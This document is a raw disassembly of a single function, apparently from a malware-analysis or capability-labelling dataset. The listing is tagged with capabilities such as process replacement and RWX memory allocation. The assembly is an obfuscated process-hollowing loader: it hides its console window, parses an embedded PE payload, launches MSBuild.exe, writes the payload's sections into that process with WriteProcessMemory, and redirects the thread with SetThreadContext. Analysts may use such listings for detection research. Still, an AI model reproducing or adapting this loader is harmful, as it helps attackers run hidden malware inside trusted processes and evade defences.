Function at 0x100020a0
Capabilities:
Allocate or change rwx memory
Create process on windows
Create process suspended
Hide graphical window
Parse pe header
Resume thread
Use process replacement

Disassembly:
push ebp
mov ebp, esp
push ebx
push edi
push esi
sub esp, 0x160
mov eax, dword [0x10067800]
xor eax, ebp
mov dword [ebp - 0x10], eax
mov dword [ebp - 0x168], 0x71af6b9
mov eax, dword [ebp - 0x168]
mov dword [ebp - 0x16c], eax
sub eax, 0x83a28709
je 0x100047e5
jmp 0x100020dc
mov eax, dword [ebp - 0x16c]
sub eax, 0x83d46660
je 0x10005252
jmp 0x100020f2
mov eax, dword [ebp - 0x16c]
sub eax, 0x85572caf
je 0x10002f5f
jmp 0x10002108
mov eax, dword [ebp - 0x16c]
sub eax, 0x8568b545
je 0x10004061
jmp 0x1000211e
mov eax, dword [ebp - 0x16c]
sub eax, 0x868c10c7
je 0x100052c7
jmp 0x10002134
mov eax, dword [ebp - 0x16c]
sub eax, 0x899c16c3
je 0x100042ea
jmp 0x1000214a
mov eax, dword [ebp - 0x16c]
sub eax, 0x8aa1c567
je 0x10003089
jmp 0x10002160
mov eax, dword [ebp - 0x16c]
sub eax, 0x8aa9fe4d
je 0x1000499a
jmp 0x10002176
mov eax, dword [ebp - 0x16c]
sub eax, 0x91820734
je 0x1000493b
jmp 0x1000218c
mov eax, dword [ebp - 0x16c]
sub eax, 0x96e57cc1
je 0x10003af9
jmp 0x100021a2
mov eax, dword [ebp - 0x16c]
sub eax, 0x97ccb41a
je 0x10003687
jmp 0x100021b8
mov eax, dword [ebp - 0x16c]
sub eax, 0x97d37c4a
je 0x10004228
jmp 0x100021ce
mov eax, dword [ebp - 0x16c]
sub eax, 0x9af04304
je 0x10003ca6
jmp 0x100021e4
mov eax, dword [ebp - 0x16c]
sub eax, 0x9c8c83d9
je 0x1000508e
jmp 0x100021fa
mov eax, dword [ebp - 0x16c]
sub eax, 0x9c8d79f1
je 0x10004e12
jmp 0x10002210
mov eax, dword [ebp - 0x16c]
sub eax, 0x9cdfbc61
je 0x10003acf
jmp 0x10002226
mov eax, dword [ebp - 0x16c]
sub eax, 0x9f1112ac
je 0x10003098
jmp 0x1000223c
mov eax, dword [ebp - 0x16c]
sub eax, 0x9ffdd33d
je 0x10003f1f
jmp 0x10002252
mov eax, dword [ebp - 0x16c]
sub eax, 0xa69b69d7
je 0x10005291
jmp 0x10002268
mov eax, dword [ebp - 0x16c]
sub eax, 0xa7d89a65
je 0x100030bc
jmp 0x1000227e
mov eax, dword [ebp - 0x16c]
sub eax, 0xaa29e939
je 0x10003efe
jmp 0x10002294
mov eax, dword [ebp - 0x16c]
sub eax, 0xaa9df83b
je 0x100041ba
jmp 0x100022aa
mov eax, dword [ebp - 0x16c]
sub eax, 0xacdbe11e
je 0x10005337
jmp 0x100022c0
mov eax, dword [ebp - 0x16c]
sub eax, 0xafa08489
je 0x1000494a
jmp 0x100022d6
mov eax, dword [ebp - 0x16c]
sub eax, 0xbb2eae2e
je 0x100043f6
jmp 0x100022ec
mov eax, dword [ebp - 0x16c]
sub eax, 0xbf876083
je 0x10003152
jmp 0x10002302
mov eax, dword [ebp - 0x16c]
sub eax, 0xc28494fd
je 0x10004b30
jmp 0x10002318
mov eax, dword [ebp - 0x16c]
sub eax, 0xc2883678
je 0x1000326b
jmp 0x1000232e
mov eax, dword [ebp - 0x16c]
sub eax, 0xc482bfbe
je 0x10004703
jmp 0x10002344
mov eax, dword [ebp - 0x16c]
sub eax, 0xc4dda478
je 0x10004fec
jmp 0x1000235a
mov eax, dword [ebp - 0x16c]
sub eax, 0xc75e2c5d
je 0x10004159
jmp 0x10002370
mov eax, dword [ebp - 0x16c]
sub eax, 0xca896e92
je 0x10004b21
jmp 0x10002386
mov eax, dword [ebp - 0x16c]
sub eax, 0xcb6b88a5
je 0x100045cb
jmp 0x1000239c
mov eax, dword [ebp - 0x16c]
sub eax, 0xcbf54383
je 0x10004464
jmp 0x100023b2
mov eax, dword [ebp - 0x16c]
sub eax, 0xceaa773a
je 0x10003ac0
jmp 0x100023c8
mov eax, dword [ebp - 0x16c]
sub eax, 0xcf00487a
je 0x10005025
jmp 0x100023de
mov eax, dword [ebp - 0x16c]
sub eax, 0xd0bab59e
je 0x10004e3f
jmp 0x100023f4
mov eax, dword [ebp - 0x16c]
sub eax, 0xd190e69f
je 0x10004baa
jmp 0x1000240a
mov eax, dword [ebp - 0x16c]
sub eax, 0xd51568ef
je 0x10003f5b
jmp 0x10002420
mov eax, dword [ebp - 0x16c]
sub eax, 0xd7ac1df1
je 0x100041d7
jmp 0x10002436
mov eax, dword [ebp - 0x16c]
sub eax, 0xd86d4211
je 0x10003572
jmp 0x1000244c
mov eax, dword [ebp - 0x16c]
sub eax, 0xd93cc42e
je 0x1000344f
jmp 0x10002462
mov eax, dword [ebp - 0x16c]
sub eax, 0xd99e1b55
je 0x10004c77
jmp 0x10002478
mov eax, dword [ebp - 0x16c]
sub eax, 0xda18f364
je 0x10004d3e
jmp 0x1000248e
mov eax, dword [ebp - 0x16c]
sub eax, 0xdac376e0
je 0x100042db
jmp 0x100024a4
mov eax, dword [ebp - 0x16c]
sub eax, 0xdae756e0
je 0x100047d6
jmp 0x100024ba
mov eax, dword [ebp - 0x16c]
sub eax, 0xdb646507
je 0x10004868
jmp 0x100024d0
mov eax, dword [ebp - 0x16c]
sub eax, 0xdb9dff49
je 0x100051bd
jmp 0x100024e6
mov eax, dword [ebp - 0x16c]
sub eax, 0xdc2ba834
je 0x10003375
jmp 0x100024fc
mov eax, dword [ebp - 0x16c]
sub eax, 0xdfc8346f
je 0x100050fe
jmp 0x10002512
mov eax, dword [ebp - 0x16c]
sub eax, 0xe0248b5f
je 0x100040d7
jmp 0x10002528
mov eax, dword [ebp - 0x16c]
sub eax, 0xe11bc44f
je 0x1000536a
jmp 0x1000253e
mov eax, dword [ebp - 0x16c]
sub eax, 0xe1b887b5
je 0x10004f9e
jmp 0x10002554
mov eax, dword [ebp - 0x16c]
sub eax, 0xe1d92738
je 0x10003b42
jmp 0x1000256a
mov eax, dword [ebp - 0x16c]
sub eax, 0xe21df12d
je 0x10005379
jmp 0x10002580
mov eax, dword [ebp - 0x16c]
sub eax, 0xe4018b31
je 0x10005007
jmp 0x10002596
mov eax, dword [ebp - 0x16c]
sub eax, 0xe6f3c307
je 0x10003dc5
jmp 0x100025ac
mov eax, dword [ebp - 0x16c]
sub eax, 0xe8a3bab6
je 0x10003111
jmp 0x100025c2
mov eax, dword [ebp - 0x16c]
sub eax, 0xe989d64b
je 0x10003806
jmp 0x100025d8
mov eax, dword [ebp - 0x16c]
sub eax, 0xea44e5f6
je 0x10005243
jmp 0x100025ee
mov eax, dword [ebp - 0x16c]
sub eax, 0xeb25653b
je 0x1000474c
jmp 0x10002604
mov eax, dword [ebp - 0x16c]
sub eax, 0xeba9d079
je 0x10004176
jmp 0x1000261a
mov eax, dword [ebp - 0x16c]
sub eax, 0xedfaee84
je 0x10005016
jmp 0x10002630
mov eax, dword [ebp - 0x16c]
sub eax, 0xee83eb7e
je 0x10002da5
jmp 0x10002646
mov eax, dword [ebp - 0x16c]
sub eax, 0xefcc644a
je 0x10003c30
push eax
mov eax, esp
mov dword [ebp - 0x128], eax
push eax
mov eax, esp
mov dword [ebp - 0x124], eax
push eax
mov eax, esp
mov dword [ebp - 0x120], eax
push eax
mov eax, esp
mov dword [ebp - 0x11c], eax
push eax
mov eax, esp
mov dword [ebp - 0x118], eax
call dword [sym.imp.KERNEL32.dll_GetConsoleWindow]
xor ecx, ecx
sub esp, 8
mov dword [esp], eax
mov dword [esp + 4], 0
call dword [sym.imp.USER32.dll_ShowWindow]
lea eax, section..data
sub esp, 8
mov dword [esp], eax
mov dword [esp + 4], 0x4e800
call section..text
add esp, 8
lea eax, section..data
mov dword [ebp - 0x14], eax
mov eax, dword [ebp - 0x14]
mov dword [ebp - 0x150], eax
mov eax, dword [ebp - 0x150]
movzx eax, word [eax]
cmp eax, 0x5a4d
sete al
and al, 1
mov byte [ebp - 0x111], al
mov eax, dword [0x10068b38]
mov ecx, dword [0x10068b34]
xor esi, esi
sub esi, 1
mov edx, eax
add edx, esi
imul eax, edx
and eax, 1
cmp eax, 0
sete al
cmp ecx, 0xa
setl cl
mov dl, al
and dl, cl
xor al, cl
or dl, al
mov eax, 0x60ee2cff
mov ecx, 0x2164a20d
test dl, 1
cmovne eax, ecx
mov dword [ebp - 0x168], eax
jmp 0x10005383
mov dword [ebp - 0x168], 0x668ab81b
jmp 0x10005383
mov dword [ebp - 0x168], 0x9f1112ac
jmp 0x10005383
mov edx, dword [ebp - 0x10c]
mov eax, 0x1d4825de
mov ecx, 0xa7d89a65
cmp dword [edx], 0x4550
cmove eax, ecx
mov dword [ebp - 0x168], eax
jmp 0x10005383
lea eax, [ebp - 0x24]
xor ecx, ecx
sub esp, 0xc
mov dword [esp], eax
mov dword [esp + 4], 0
mov dword [esp + 8], 0x10
call fcn.10006820
add esp, 0xc
lea eax, [ebp - 0x68]
xor ecx, ecx
sub esp, 0xc
mov dword [esp], eax
mov dword [esp + 4], 0
mov dword [esp + 8], 0x44
call fcn.10006820
add esp, 0xc
mov dword [ebp - 0x168], 0xe8a3bab6
jmp 0x10005383
mov eax, dword [ebp - 0x158]
cmp dword [eax + 0xe8], 0
setne al
and al, 1
mov byte [ebp - 0x159], al
lea eax, str.C:WindowsMicrosoft.NETFramework_v4.0.30319MSBuild.exe
mov dword [ebp - 0x160], eax
mov al, byte [ebp - 0x159]
and al, 1
mov byte [ebp - 0x105], al
mov dword [ebp - 0x168], 0xbf876083
jmp 0x10005383
mov dl, byte [ebp - 0x105]
mov eax, 0x2d30100a
mov ecx, 0xdc2ba834
test dl, 1
cmovne eax, ecx
mov dword [ebp - 0x168], eax
jmp 0x10005383
mov dword [ebp - 0x168], 0x5d0b5679
jmp 0x10005383
mov eax, dword [0x10068b38]
mov ecx, dword [0x10068b34]
xor esi, esi
sub esi, 1
mov edx, eax
add edx, esi
imul eax, edx
and eax, 1
cmp eax, 0
sete al
cmp ecx, 0xa
setl cl
mov dl, al
and dl, cl
xor al, cl
or dl, al
mov eax, 0xedfaee84
mov ecx, 0x2cae0a60
test dl, 1
cmovne eax, ecx
mov dword [ebp - 0x168], eax
jmp 0x10005383
mov eax, dword [0x10068b38]
mov ecx, dword [0x10068b34]
xor esi, esi
sub esi, 1
mov edx, eax
add edx, esi
imul eax, edx
and eax, 1
cmp eax, 0
sete al
cmp ecx, 0xa
setl cl
mov dl, al
and dl, cl
xor al, cl
or dl, al
mov eax, 0xcf00487a
mov ecx, 0xf52f2492
test dl, 1
cmovne eax, ecx
mov dword [ebp - 0x168], eax
jmp 0x10005383
xor eax, eax
sub esp, 0x10
mov dword [esp], 0
mov dword [esp + 4], 4
mov dword [esp + 8], 0x1000
mov dword [esp + 0xc], 4
call dword [sym.imp.KERNEL32.dll_VirtualAlloc]
mov dword [ebp - 0x154], eax
mov eax, dword [ebp - 0x154]
mov dword [eax], 0x10007
mov eax, dword [ebp - 0x154]
mov ecx, dword [ebp - 0x20]
sub esp, 8
mov dword [esp], ecx
mov dword [esp + 4], eax
call dword [sym.imp.KERNEL32.dll_GetThreadContext]
mov dword [ebp - 0xfc], eax
mov dword [ebp - 0x168], 0x32110b67
jmp 0x10005383
mov eax, dword [ebp - 0xf4]
mov ecx, dword [eax + 0x34]
mov edx, dword [ebp - 0x24]
mov eax, dword [ebp - 0xf8]
sub esp, 0x14
mov dword [esp], edx
mov dword [esp + 4], ecx
mov dword [esp + 8], eax
mov dword [esp + 0xc], 0x3000
mov dword [esp + 0x10], 0x40
call dword [sym.imp.KERNEL32.dll_VirtualAllocEx]
mov ecx, eax
mov eax, dword [ebp - 0x14c]
mov dword [eax], ecx
mov edx, dword [ebp - 0x14c]
mov eax, 0xed33793
mov ecx, 0x44a4c769
cmp dword [edx], 0
cmove eax, ecx
mov dword [ebp - 0x168], eax
jmp 0x10005383
mov ecx, dword [ebp - 0x24]
mov eax, dword [ebp - 0xf0]
xor edx, edx
sub esp, 0x14
mov dword [esp], ecx
mov dword [esp + 4], 0
mov dword [esp + 8], eax
mov dword [esp + 0xc], 0x3000
mov dword [esp + 0x10], 0x40
call dword [sym.imp.KERNEL32.dll_VirtualAllocEx]
mov ecx, eax
mov eax, dword [ebp - 0x14c]
mov dword [eax], ecx
mov ecx, dword [0x10068b38]
mov eax, dword [0x10068b34]
mov edx, ecx
add edx, 0xf1f013a0
sub edx, 1
sub edx, 0xf1f013a0
imul ecx, edx
and ecx, 1
cmp ecx, 0
sete bl
cmp eax, 0xa
setl dh
mov al, bl
xor al, 0xff
mov ah, dh
xor ah, 0xff
mov cl, 1
xor cl, 1
mov dl, al
and dl, 0xff
and bl, cl
mov ch, ah
and ch, 0xff
and dh, cl
or dl, bl
or ch, dh
xor dl, ch
or al, ah
xor al, 0xff
or cl, 1
and al, cl
or dl, al
mov eax, 0x3bee4bda
mov ecx, 0x6a3f85fa
test dl, 1
cmovne eax, ecx
mov dword [ebp - 0x168], eax
jmp 0x10005383
mov dword [ebp - 0x168], 0x9cdfbc61
jmp 0x10005383
mov eax, dword [ebp - 0xe0]
movzx esi, word [eax + 6]
mov edx, dword [ebp - 0xe4]
mov eax, 0xeba9d079
mov ecx, 0x96e57cc1
cmp edx, esi
cmovl eax, ecx
mov dword [ebp - 0x168], eax
jmp 0x10005383
mov eax, dword [0x10068b38]
mov ecx, dword [0x10068b34]
xor esi, esi
sub esi, 1
mov edx, eax
add edx, esi
imul eax, edx
and eax, 1
cmp eax, 0
sete al
cmp ecx, 0xa
setl cl
mov dl, al
and dl, cl
xor al, cl
or dl, al
mov eax, 0xdfc8346f
mov ecx, 0xe1d92738
test dl, 1
cmovne eax, ecx
mov dword [ebp - 0x168], eax
jmp 0x10005383
mov eax, dword [ebp - 0x140]
mov eax, dword [eax]
mov ecx, dword [ebp - 0x130]
imul ecx, dword [ecx], 0x28
add eax, ecx
mov eax, dword [eax + 0x10]
mov dword [ebp - 0xdc], eax
mov eax, dword [ebp - 0x14]
mov ecx, dword [ebp - 0x140]
mov ecx, dword [ecx]
mov edx, dword [ebp - 0x130]
imul edx, dword [edx], 0x28
add ecx, edx
mov ecx, dword [ecx + 0x14]
add eax, 0xcfc2ca97
add eax, ecx
sub eax, 0xcfc2ca97
mov dword [ebp - 0xd8], eax
mov eax, dword [ebp - 0x14c]
mov eax, dword [eax]
mov dword [ebp - 0xd4], eax
mov eax, dword [ebp - 0x140]
mov eax, dword [eax]
mov dword [ebp - 0xd0], eax
mov eax, dword [ebp - 0x130]
mov eax, dword [eax]
mov dword [ebp - 0xcc], eax
mov ecx, dword [0x10068b38]
mov eax, dword [0x10068b34]
xor esi, esi
sub esi, 1
mov edx, ecx
add edx, esi
imul ecx, edx
and ecx, 1
cmp ecx, 0
sete bl
cmp eax, 0xa
setl dh
mov al, bl
xor al, 0xff
mov ah, dh
xor ah, 0xff
mov cl, 1
xor cl, 1
mov dl, al
and dl, 0xff
and bl, cl
mov ch, ah
and ch, 0xff
and dh, cl
or dl, bl
or ch, dh
xor dl, ch
or al, ah
xor al, 0xff
or cl, 1
and al, cl
or dl, al
mov eax, 0xdfc8346f
mov ecx, 0x32d649fe
test dl, 1
cmovne eax, ecx
mov dword [ebp - 0x168], eax
jmp 0x10005383
mov eax, dword [ebp - 0xd0]
mov ecx, dword [ebp - 0xcc]
imul ecx, ecx, 0x28
add eax, ecx
mov eax, dword [eax + 0xc]
mov edx, dword [ebp - 0xd4]
add edx, 0xc3ac5a15
add edx, eax
sub edx, 0xc3ac5a15
mov esi, dword [ebp - 0x24]
mov eax, dword [ebp - 0xdc]
mov ecx, dword [ebp - 0xd8]
xor edi, edi
sub esp, 0x14
mov dword [esp], esi
mov dword [esp + 4], edx
mov dword [esp + 8], ecx
mov dword [esp + 0xc], eax
mov dword [esp + 0x10], 0
call dword [sym.imp.KERNEL32.dll_WriteProcessMemory]
mov eax, dword [ebp - 0x134]
mov eax, dword [eax]
mov ecx, dword [ebp - 0x140]
mov ecx, dword [ecx]
mov edx, dword [ebp - 0x130]
imul edx, dword [edx], 0x28
add ecx, edx
cmp eax, dword [ecx + 0xc]
setae al
and al, 1
mov byte [ebp - 0xc5], al
mov eax, dword [0x10068b38]
mov ecx, dword [0x10068b34]
mov edx, eax
add edx, 0x6c32ff4f
sub edx, 1
sub edx, 0x6c32ff4f
imul eax, edx
and eax, 1
cmp eax, 0
sete al
cmp ecx, 0xa
setl cl
mov dl, al
and dl, cl
xor al, cl
or dl, al
mov eax, 0x30b35279
mov ecx, 0x6e41fdf4
test dl, 1
cmovne eax, ecx
mov dword [ebp - 0x168], eax
jmp 0x10005383
mov ecx, dword [0x10068b38]
mov eax, dword [0x10068b34]
mov edx, ecx
sub edx, 0x5394aa70
sub edx, 1
add edx, 0x5394aa70
imul ecx, edx
and ecx, 1
cmp ecx, 0
sete bl
cmp eax, 0xa
setl dh
mov al, bl
xor al, 0xff
mov ah, dh
xor ah, 0xff
mov cl, 1
xor cl, 1
mov dl, al
and dl, 0xff
and bl, cl
mov ch, ah
and ch, 0xff
and dh, cl
or dl, bl
or ch, dh
xor dl, ch
or al, ah
xor al, 0xff
or cl, 1
and al, cl
or dl, al
mov eax, 0xdb9dff49
mov ecx, 0x783386d6
test dl, 1
cmovne eax, ecx
mov dword [ebp - 0x168], eax
jmp 0x10005383
mov dl, byte [ebp - 0xb9]
mov eax, 0x8568b545
mov ecx, 0x9ffdd33d
test dl, 1
cmovne eax, ecx
mov dword [ebp - 0x168], eax
jmp 0x10005383
mov eax, dword [ebp - 0x14]
mov ecx, dword [ebp - 0x140]
mov ecx, dword [ecx]
mov edx, dword [ebp - 0x130]
imul edx, dword [edx], 0x28
add ecx, edx
add eax, dword [ecx + 0x14]
mov dword [ebp - 0xb8], eax
mov eax, dword [ebp - 0x134]
mov eax, dword [eax]
mov dword [ebp - 0xb4], eax
mov dword [ebp - 0x168], 0xd51568ef
jmp 0x10005383
mov ecx, dword [0x10068b38]
mov eax, dword [0x10068b34]
mov edx, ecx
sub edx, 0x8dd5f0ef
sub edx, 1
add edx, 0x8dd5f0ef
imul ecx, edx
and ecx, 1
cmp ecx, 0
sete bl
cmp eax, 0xa
setl dh
mov al, bl
xor al, 0xff
mov ah, dh
xor ah, 0xff
mov cl, 1
xor cl, 0
mov dl, al
and dl, 0
and bl, cl
mov ch, ah
and ch, 0
and dh, cl
or dl, bl
or ch, dh
xor dl, ch
or al, ah
xor al, 0xff
or cl, 0
and al, cl
or dl, al
mov eax, 0xf1bf874c
mov ecx, 0x7715bd87
test dl, 1
cmovne eax, ecx
mov dword [ebp - 0x168], eax
jmp 0x10005383
mov ecx, dword [0x10068b38]
mov eax, dword [0x10068b34]
mov edx, ecx
sub edx, 0x40b0ee71
sub edx, 1
add edx, 0x40b0ee71
imul ecx, edx
and ecx, 1
cmp ecx, 0
sete bl
cmp eax, 0xa
setl dh
mov al, bl
xor al, 0xff
mov ah, dh
xor ah, 0xff
mov cl, 1
xor cl, 0
mov dl, al
and dl, 0
and bl, cl
mov ch, ah
and ch, 0
and dh, cl
or dl, bl
or ch, dh
xor dl, ch
or al, ah
xor al, 0xff
or cl, 0
and al, cl
or dl, al
mov eax, 0xea44e5f6
mov ecx, 0xe0248b5f
test dl, 1
cmovne eax, ecx
mov dword [ebp - 0x168], eax
jmp 0x10005383
mov eax, dword [0x10068b38]
mov ecx, dword [0x10068b34]
xor esi, esi
sub esi, 1
mov edx, eax
add edx, esi
imul eax, edx
and eax, 1
cmp eax, 0
sete al
cmp ecx, 0xa
setl cl
mov dl, al
and dl, cl
xor al, cl
or dl, al
mov eax, 0xea44e5f6
mov ecx, 0x3d8198f2
test dl, 1
cmovne eax, ecx
mov dword [ebp - 0x168], eax
jmp 0x10005383
mov eax, dword [ebp - 0x130]
mov ecx, dword [ebp - 0xb0]
mov dword [eax], ecx
mov dword [ebp - 0x168], 0x360e5623
jmp 0x10005383
mov eax, dword [ebp - 0x148]
cmp dword [eax], 0
setne al
and al, 1
mov byte [ebp - 0xa9], al
mov dword [ebp - 0x168], 0xfff517f1
jmp 0x10005383
mov eax, dword [ebp - 0x14c]
mov eax, dword [eax]
mov dword [ebp - 0xa8], eax
mov dword [ebp - 0x168], 0xd7ac1df1
jmp 0x10005383
mov eax, dword [0x10068b38]
mov ecx, dword [0x10068b34]
mov edx, eax
add edx, 0x4e36659d
sub edx, 1
sub edx, 0x4e36659d
imul eax, edx
and eax, 1
cmp eax, 0
sete al
cmp ecx, 0xa
setl cl
mov dl, al
and dl, cl
xor al, cl
or dl, al
mov eax, 0x83d46660
mov ecx, 0x97d37c4a
test dl, 1
cmovne eax, ecx
mov dword [ebp - 0x168], eax
jmp 0x10005383
mov eax, dword [ebp - 0x158]
mov ecx, dword [eax + 0x34]
mov eax, dword [ebp - 0xa8]
cmp eax, ecx
setne al
and al, 1
mov byte [ebp - 0xa1], al
mov ecx, dword [0x10068b38]
mov eax, dword [0x10068b34]
mov edx, ecx
sub edx, 0x3da4af2b
sub edx, 1
add edx, 0x3da4af2b
imul ecx, edx
and ecx, 1
cmp ecx, 0
sete bl
cmp eax, 0xa
setl dh
mov al, bl
xor al, 0xff
mov ah, dh
xor ah, 0xff
mov cl, 1
xor cl, 0
mov dl, al
and dl, 0
and bl, cl
mov ch, ah
and ch, 0
and dh, cl
or dl, bl
or ch, dh
xor dl, ch
or al, ah
xor al, 0xff
or cl, 0
and al, cl
or dl, al
mov eax, 0x83d46660
mov ecx, 0x1ef107a4
test dl, 1
cmovne eax, ecx
mov dword [ebp - 0x168], eax
jmp 0x10005383
mov dword [ebp - 0x168], 0x899c16c3
jmp 0x10005383
mov ecx, dword [0x10068b38]
mov eax, dword [0x10068b34]
mov edx, ecx
add edx, 0x9e418782
sub edx, 1
sub edx, 0x9e418782
imul ecx, edx
and ecx, 1
cmp ecx, 0
sete bl
cmp eax, 0xa
setl dh
mov al, bl
xor al, 0xff
mov ah, dh
xor ah, 0xff
mov cl, 1
xor cl, 1
mov dl, al
and dl, 0xff
and bl, cl
mov ch, ah
and ch, 0xff
and dh, cl
or dl, bl
or ch, dh
xor dl, ch
or al, ah
xor al, 0xff
or cl, 1
and al, cl
or dl, al
mov eax, 0xfb4073a9
mov ecx, 0xf82f0304
test dl, 1
cmovne eax, ecx
mov dword [ebp - 0x168], eax
jmp 0x10005383
mov ecx, dword [0x10068b38]
mov eax, dword [0x10068b34]
xor esi, esi
sub esi, 1
mov edx, ecx
add edx, esi
imul ecx, edx
and ecx, 1
cmp ecx, 0
sete bl
cmp eax, 0xa
setl dh
mov al, bl
xor al, 0xff
mov ah, dh
xor ah, 0xff
mov cl, 1
xor cl, 1
mov dl, al
and dl, 0xff
and bl, cl
mov ch, ah
and ch, 0xff
and dh, cl
or dl, bl
or ch, dh
xor dl, ch
or al, ah
xor al, 0xff
or cl, 1
and al, cl
or dl, al
mov eax, 0xf32c7e7
mov ecx, 0xcbf54383
test dl, 1
cmovne eax, ecx
mov dword [ebp - 0x168], eax
jmp 0x10005383
mov eax, dword [ebp - 0xa0]
cmp dword [eax], 0
setne al
and al, 1
mov byte [ebp - 0x99], al
mov ecx, dword [0x10068b38]
mov eax, dword [0x10068b34]
xor esi, esi
sub esi, 1
mov edx, ecx
add edx, esi
imul ecx, edx
and ecx, 1
cmp ecx, 0
sete bl
cmp eax, 0xa
setl dh
mov al, bl
xor al, 0xff
mov ah, dh
xor ah, 0xff
mov cl, 1
xor cl, 0
mov dl, al
and dl, 0
and bl, cl
mov ch, ah
and ch, 0
and dh, cl
or dl, bl
or ch, dh
xor dl, ch
or al, ah
xor al, 0xff
or cl, 0
and al, cl
or dl, al
mov eax, 0xf32c7e7
mov ecx, 0x7803ac4d
test dl, 1
cmovne eax, ecx
mov dword [ebp - 0x168], eax
jmp 0x10005383
mov edx, dword [ebp - 0x94]
mov esi, dword [ebp - 0x90]
mov eax, 0x5d53cf0e
mov ecx, 0x31d2b6d6
cmp edx, esi
cmovb eax, ecx
mov dword [ebp - 0x168], eax
jmp 0x10005383
mov eax, dword [0x10068b38]
mov ecx, dword [0x10068b34]
xor esi, esi
sub esi, 1
mov edx, eax
add edx, esi
imul eax, edx
and eax, 1
cmp eax, 0
sete al
cmp ecx, 0xa
setl cl
mov dl, al
and dl, cl
xor al, cl
or dl, al
mov eax, 0x6d150bde
mov ecx, 0xeb25653b
test dl, 1
cmovne eax, ecx
mov dword [ebp - 0x168], eax
jmp 0x10005383
mov eax, dword [ebp - 0x14c]
mov eax, dword [eax]
mov ecx, dword [ebp - 0x138]
mov ecx, dword [ecx]
mov edx, dword [ecx]
xor ecx, ecx
sub ecx, edx
sub eax, ecx
mov dword [ebp - 0x88], eax
mov eax, dword [ebp - 0x12c]
mov eax, dword [eax]
mov ecx, dword [ebp - 0x120]
mov ecx, dword [ecx]
mov ax, word [eax + ecx*2]
mov word [ebp - 0x82], ax
mov eax, dword [0x10068b38]
mov ecx, dword [0x10068b34]
mov edx, eax
add edx, 0xd6b536a
sub edx, 1
sub edx, 0xd6b536a
imul eax, edx
and eax, 1
cmp eax, 0
sete al
cmp ecx, 0xa
setl cl
mov dl, al
and dl, cl
xor al, cl
or dl, al
mov eax, 0x6d150bde
mov ecx, 0xdae756e0
test dl, 1
cmovne eax, ecx
mov dword [ebp - 0x168], eax
jmp 0x10005383
mov dword [ebp - 0x168], 0x83a28709
jmp 0x10005383
mov ax, word [ebp - 0x82]
movzx eax, ax
mov ecx, 0xffffffff
xor ecx, 0xfff
mov edx, eax
xor edx, ecx
and edx, eax
mov ecx, dword [ebp - 0x88]
xor eax, eax
sub eax, edx
sub ecx, eax
mov eax, dword [ebp - 0x11c]
mov dword [eax], ecx
mov eax, dword [ebp - 0x11c]
mov ecx, dword [eax]
mov edx, dword [ebp - 0x24]
mov eax, dword [ebp - 0x118]
xor esi, esi
sub esp, 0x14
mov dword [esp], edx
mov dword [esp + 4], ecx
mov dword [esp + 8], eax
mov dword [esp + 0xc], 4
mov dword [esp + 0x10], 0
call dword [sym.imp.KERNEL32.dll_ReadProcessMemory]
mov edx, eax
mov eax, 0x5ae3bc52
mov ecx, 0xdb646507
cmp edx, 0
cmovne eax, ecx
mov dword [ebp - 0x168], eax
jmp 0x10005383
mov eax, dword [0x10068b38]
mov ecx, dword [0x10068b34]
mov edx, eax
add edx, 0xa81ef775
sub edx, 1
sub edx, 0xa81ef775
imul eax, edx
and eax, 1
cmp eax, 0
sete al
cmp ecx, 0xa
setl cl
mov dl, al
and dl, cl
xor al, cl
or dl, al
mov eax, 0x868c10c7
mov ecx, 0x1e776162
test dl, 1
cmovne eax, ecx
mov dword [ebp - 0x168], eax
jmp 0x10005383
mov dword [ebp - 0x168], 0xafa08489
jmp 0x10005383
mov edx, dword [ebp - 0x24]
mov eax, dword [ebp - 0x118]
mov ecx, dword [ebp - 0x80]
xor esi, esi
sub esp, 0x14
mov dword [esp], edx
mov dword [esp + 4], ecx
mov dword [esp + 8], eax
mov dword [esp + 0xc], 4
mov dword [esp + 0x10], 0
call dword [sym.imp.KERNEL32.dll_WriteProcessMemory]
mov dword [ebp - 0x168], 0x5ae3bc52
jmp 0x10005383
mov eax, dword [0x10068b38]
mov ecx, dword [0x10068b34]
mov edx, eax
sub edx, 0x419ea62c
sub edx, 1
add edx, 0x419ea62c
imul eax, edx
and eax, 1
cmp eax, 0
sete al
cmp ecx, 0xa
setl cl
mov dl, al
and dl, cl
xor al, cl
or dl, al
mov eax, 0x2b345965
mov ecx, 0x5b7f4f40
test dl, 1
cmovne eax, ecx
mov dword [ebp - 0x168], eax
jmp 0x10005383
mov dword [ebp - 0x168], 0xc28494fd
jmp 0x10005383
mov dword [ebp - 0x168], 0x28d9a915
jmp 0x10005383
mov ecx, dword [ebp - 0x7c]
mov eax, dword [ebp - 0x138]
mov eax, dword [eax]
mov eax, dword [eax + 4]
add ecx, 0x92ec5c78
add ecx, eax
sub ecx, 0x92ec5c78
mov eax, dword [ebp - 0x138]
mov dword [eax], ecx
mov eax, dword [0x10068b38]
mov ecx, dword [0x10068b34]
mov edx, eax
sub edx, 0x5b684fb8
sub edx, 1
add edx, 0x5b684fb8
imul eax, edx
and eax, 1
cmp eax, 0
sete al
cmp ecx, 0xa
setl cl
mov dl, al
and dl, cl
xor al, cl
or dl, al
mov eax, 0xacdbe11e
mov ecx, 0xa556020
test dl, 1
cmovne eax, ecx
mov dword [ebp - 0x168], eax
jmp 0x10005383
mov eax, dword [ebp - 0x70]
mov edx, dword [eax]
mov eax, dword [ebp - 0x78]
mov ecx, dword [ebp - 0x74]
xor esi, esi
sub esp, 0x14
mov dword [esp], edx
mov dword [esp + 4], ecx
mov dword [esp + 8], eax
mov dword [esp + 0xc], 4
mov dword [esp + 0x10], 0
call dword [sym.imp.KERNEL32.dll_ReadProcessMemory]
mov ecx, dword [ebp - 0x164]
xor eax, eax
sub eax, 8
sub ecx, eax
mov edx, dword [ebp - 0x24]
mov eax, dword [ebp - 0x14c]
xor esi, esi
sub esp, 0x14
mov dword [esp], edx
mov dword [esp + 4], ecx
mov dword [esp + 8], eax
mov dword [esp + 0xc], 4
mov dword [esp + 0x10], 0
call dword [sym.imp.KERNEL32.dll_WriteProcessMemory]
mov eax, dword [ebp - 0x14c]
mov ecx, dword [eax]
mov eax, dword [ebp - 0x158]
mov edx, dword [eax + 0x28]
xor eax, eax
sub eax, edx
sub ecx, eax
mov eax, dword [ebp - 0x154]
mov dword [eax + 0xb0], ecx
mov eax, dword [ebp - 0x154]
mov ecx, dword [ebp - 0x20]
sub esp, 8
mov dword [esp], ecx
mov dword [esp + 4], eax
call dword [sym.imp.KERNEL32.dll_SetThreadContext]
